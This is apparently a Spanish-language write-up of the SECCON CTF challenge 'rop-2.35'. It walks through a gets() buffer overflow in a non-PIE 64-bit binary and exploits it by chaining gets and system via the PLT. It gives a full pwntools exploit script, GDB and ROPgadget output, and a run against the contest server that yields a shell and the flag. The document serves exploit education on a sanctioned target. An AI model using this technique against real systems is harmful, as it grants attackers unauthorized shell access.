rop-2.35
7 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Configuración del entorno
También tenemos un Dockerfile:
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get -y update
RUN apt-get -y install xinetd
RUN groupadd -r pwn && useradd -r -g pwn pwn
RUN echo '#!/bin/bash\n\
service xinetd restart && /bin/sleep infinity' > /etc/init.sh
RUN echo 'service pwn\n\
{\n\
type = UNLISTED\n\
disable = no\n\
socket_type = stream\n\
protocol = tcp\n\
wait = no\n\
user = pwn\n\
bind = 0.0.0.0\n\
port = 9999\n\
server = /home/pwn/chall\n\
}' > /etc/xinetd.d/pwn
RUN chmod 500 /etc/init.sh
RUN chmod 444 /etc/xinetd.d/pwn
RUN chmod 1733 /tmp /var/tmp /dev/shm
RUN echo "FAKECON{*** REDACTED ***}" > /flag.txt
RUN chmod 444 /flag.txt
RUN mv /flag.txt /flag-$(md5sum flag.txt | awk '{print $1}').txt
WORKDIR /home/pwn
ADD chall .
RUN chmod 550 chall
RUN chown -R root:pwn /home/pwn
RUN service xinetd restart
Con esto, podemos suponer que la instancia remota está ejecutando un contenedor Docker con este Dockerfile, entonces podemos tomar la librería y el cargador de Glibc desde aquí:
$ docker compose up -d
...
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a742307933a5 rop-235-dist_rop235 "/etc/init.sh" 6 seconds ago Up 5 seconds 0.0.0.0:9999->9999/tcp, :::9999->9999/tcp rop-235-dist_rop235-1
$ docker cp a742307933a5:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 243kB
$ docker cp a742307933a5:/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.22MB
$ patchelf --set-interpreter ld-linux-x86-64.so.2 chall_patched
$ patchelf --set-rpath . chall_patched
Ahora tenemos la misma configuración que la instancia remota.
Análisis del código fuente
Esta vez, tenemos el código fuente en C, que es realmente corto:
#include <stdio.h>
#include <stdlib.h>
void main() {
char buf[0x10];
system("echo Enter something:");
gets(buf);
}
Hay una vulnerabilidad de Buffer Overflow clara debido al uso de gets con un vector de caracteres de tamaño fijo buf[0x10]:
$ ./chall_patched
Enter something:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault (core dumped) ./chall_patched
El problema aquí es que el binario está compilado con una versión moderna de gcc (Ubuntu 22.04), y no hay gadgets de ROP útiles (recordemos que el bit NX está activado):
$ ROPgadget --binary chall_patched
Gadgets information
============================================================
0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret
0x000000000040109c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040113a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040109e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040113b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401139 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401137 : add eax, 0x2efb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401181 : call qword ptr [rax + 0xc3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401153 : cli ; jmp 0x4010e0
0x00000000004010a3 : cli ; ret
0x000000000040118b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004010c8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401135 ; nop ; ret
0x0000000000401150 : endbr64 ; jmp 0x4010e0
0x00000000004010a0 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401107 : je 0x401110 ; mov edi, 0x404038 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401154 : jmp 0x4010e0
0x000000000040100b : jmp 0x4840103f
0x00000000004010cc : jmp rax
0x0000000000401183 : leave ; ret
0x00000000004010cd : loopne 0x401135 ; nop ; ret
0x0000000000401136 : mov byte ptr [rip + 0x2efb], 1 ; pop rbp ; ret
0x00000000004010c7 : mov edi, 0x404038 ; jmp rax
0x0000000000401182 : nop ; leave ; ret
0x00000000004010cf : nop ; ret
0x000000000040114c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010e0
0x00000000004010c6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x000000000040113d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401138 : sti ; add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040118d : sub esp, 8 ; add rsp, 8 ; ret
0x000000000040118c : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404038 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
Unique gadgets found: 48
Entonces, debemos encontrar otro enfoque.
Depuración con GDB
Si ejecutamos el binario en GDB, podemos establecer breakpoints antes y después de gets:
$ gdb -q chall_patched
Reading symbols from chall_patched...
(No debugging symbols found in chall_patched)
gef➤ disassemble main
Dump of assembler code for function main:
0x0000000000401156 <+0>: endbr64
0x000000000040115a <+4>: push rbp
0x000000000040115b <+5>: mov rbp,rsp
0x000000000040115e <+8>: sub rsp,0x10
0x0000000000401162 <+12>: lea rax,[rip+0xe9b] # 0x402004
0x0000000000401169 <+19>: mov rdi,rax
0x000000000040116c <+22>: call 0x401050 <system@plt>
0x0000000000401171 <+27>: lea rax,[rbp-0x10]
0x0000000000401175 <+31>: mov rdi,rax
0x0000000000401178 <+34>: mov eax,0x0
0x000000000040117d <+39>: call 0x401060 <gets@plt>
0x0000000000401182 <+44>: nop
0x0000000000401183 <+45>: leave
0x0000000000401184 <+46>: ret
End of assembler dump.
gef➤ break *main+39
Breakpoint 1 at 0x40117d
gef➤ break *main+44
Breakpoint 2 at 0x401182
gef➤ run
Starting program: ./chall_patched
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after vfork from child process 2442950]
Enter something:
Breakpoint 1, 0x000000000040117d in main ()
Este es el valor de $rdi (la dirección de buf y la dirección donde se almacenarán nuestros datos de entrada):
gef➤ p $rdi
$1 = 0x7fffffffe560
Continuamos e ingresamos algunos datos:
gef➤ continue
Continuing.
asdf
Breakpoint 2, 0x0000000000401182 in main ()
gef➤ p $rdi
$2 = 0x7ffff7e1ba80
gef➤ x/s $rdi
0x7ffff7e1ba80 <_IO_stdfile_0_lock>: ""
Como se puede ver, después de llamar a gets, el valor de $rdi se establece en una dirección de Glibc. Y siempre es la misma dirección (en esta ejecución del proceso). Podemos validarlo si saltamos a main de nuevo:
gef➤ jump main
Continuing at 0x40115e.
[Detaching after vfork from child process 2444962]
Enter something:
Breakpoint 1, 0x000000000040117d in main ()
gef➤ p $rdi
$3 = 0x7fffffffe560
gef➤ continue
Continuing.
fdsa
Breakpoint 2, 0x0000000000401182 in main ()
gef➤ p $rdi
$4 = 0x7ffff7e1ba80
gef➤ x/s $rdi
0x7ffff7e1ba80 <_IO_stdfile_0_lock>: ""
Desarrollo del exploit
Entonces, lo que podemos hacer es explotar la vulnerabilidad de Buffer Overflow para controlar el flujo de ejecución y llamar a gets directamente. Como $rdi ya estará puesto en _IO_stdfile_0_lock, entraremos en una string aquí (digamos "/bin/sh\0"), y después de eso, llamaremos a system, que está vinculada al binario en la PLT. Como resultado, como $rdi no se verá modificado después de gets (se pondrá la dirección de _IO_stdfile_0_lock, y ya está así), entonces system tomará nuestros datos de entrada de $rdi y podremos conseguir una shell.
Aquí tenemos el exploit:
#!/usr/bin/env python3
from pwn import context, p64, remote, sys
context.binary = 'chall_patched'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, port)
io = get_process()
payload = b'A' * 0x18
payload += p64(context.binary.plt.gets)
payload += p64(context.binary.plt.system)
io.sendlineafter(b'Enter something:\n', payload)
io.sendline(b'/bin/sh')
io.interactive()
Si lo ejecutamos, notaremos algo extraño:
$ python3 solve.py
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall_patched': pid 2450771
[*] Switching to interactive mode
sh: 1: /bin.sh: not found
[*] Got EOF while reading in interactive
$
Por alguna razón, el segundo / cambia a .. Podemos superar esto con:
io.sendline(b'sh #')
Y ahora tenemos una shell:
$ python3 solve.py
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall_patched': pid 2452125
[*] Switching to interactive mode
$ ls
chall docker-compose.yml ld-linux-x86-64.so.2 main.c
chall_patched Dockerfile libc.so.6 solve.py
Flag
Vamos a lanzarlo en remoto:
$ python3 solve.py rop-2-35.seccon.games 9999
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to rop-2-35.seccon.games on port 9999: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag-55cdf9ed439996cad5484a16bfdc4431.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag*
SECCON{i_miss_you_libc_csu_init_:cry:}